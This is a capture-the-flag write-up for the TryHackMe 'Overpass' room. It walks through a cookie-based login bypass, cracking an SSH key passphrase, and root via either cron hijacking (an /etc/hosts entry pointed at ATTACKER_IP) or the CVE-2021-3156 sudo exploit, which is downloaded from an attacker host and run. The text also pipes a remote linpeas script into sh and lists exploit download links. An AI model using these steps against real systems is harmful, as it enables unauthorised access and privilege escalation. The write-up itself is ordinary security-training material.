TryHackMe Overpass Writeup: Auth Bypass to Root via CVE-2021-3156

Challenge Info

• Platform: TryHackMe
• Room name: Overpass
• Difficulty: Easy
• Goal: Capture user.txt and root.txt
• Link: https://tryhackme.com/room/overpass

Services found:

• Port 22: SSH
• Port 80: HTTP

Step 2: Web Directory Enumeration

└─$ gobuster dir -u http://10.10.x.x -w /usr/share/seclists/Discovery/Web-Content/common.txt

Found the /admin directory.

Step 3: Authentication Bypass

Inspecting the JavaScript on the /admin page:

• Found a logic flaw in login.js

async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

• As long as you have a SessionToken cookie, you get in

Exploit:

document.cookie = "SessionToken=anything"
// refresh the page (F5)

Step 4: Cracking the SSH Key

We obtain an encrypted SSH private key:

ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

passphrase: james13

Step 5: User Flag

Once you connect, it prompts for the passphrase from above; enter it and you're in.

ssh -i id_rsa [email protected]
cat user.txt

Step 6: Privilege Escalation - Method 1 (Cron Job)

Found a cron job:

cat /etc/crontab
# * * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

Since /etc/hosts is writable:

echo "ATTACKER_IP overpass.thm" >> /etc/hosts

Set up a malicious script and wait for a root shell. For this method you can follow along with someone else's writeup; the detailed reasoning is explained in the experience-sharing section at the bottom.

Step 6: Privilege Escalation - Method 2 (CVE-2021-3156)

# check the sudo version
sudo --version

# download and compile the exploit
wget http://ATTACKER_IP:8000/CVE-2021-3156.tar.gz
tar -xf CVE-2021-3156.tar.gz
cd CVE-2021-3156-main
make
./sudo-hax-me-a-sandwich 0

Step 7: Root Flag

whoami  # root
cat /root/root.txt

Key Takeaways

Vulnerability Summary

1. Authentication Bypass
   • Flawed client-side validation logic
   • Improper cookie validation
2. Misconfigured Cron Job
   • Uses a domain name instead of an IP
   • Overly permissive permissions on /etc/hosts
3. CVE-2021-3156 (Baron Samedit)
   • Heap-based buffer overflow in Sudo

Experience Sharing

On how to find the CVE-2021-3156 vulnerability:

Use Linpeas for automated enumeration. Linpeas automatically checks the system's sudo version and flags known vulnerabilities:

curl http://10.6.4.21:8000/linpeas.sh | sh

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2021-4034] PwnKit
   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)
   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2022-2586] nft_object UAF
   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: less probable
   Tags: ubuntu=(20.04){kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded
[+] [CVE-2019-18634] sudo pwfeedback
   Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
   Exposure: less probable
   Tags: mint=19
   Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
   Comments: sudo configuration requires pwfeedback to be enabled.
[+] [CVE-2019-15666] XFRM_UAF
   Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
   Exposure: less probable
   Download URL:
   Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
[+] [CVE-2017-0358] ntfs-3g-modprobe
   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
   Exposure: less probable
   Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
   Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zip
   Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.

So we can use Method 2 (CVE-2021-3156) that the scan surfaced.

About Step 6

Here I offer two privilege escalation methods. The first one didn't work for me, because I'm using WSL Kali Linux and its networking is limited, so I couldn't catch a reverse shell from WSL Kali Linux. A common workaround is to grab a reverse shell using the netcat that Windows PowerShell supports, but the trickiest part is this box's privesc: it reads the specific file at the specific path /downloads/src/buildscript.sh, and getting Windows to create that specific file at that specific path is difficult. So I went with the second privilege escalation method.

Mission accomplished!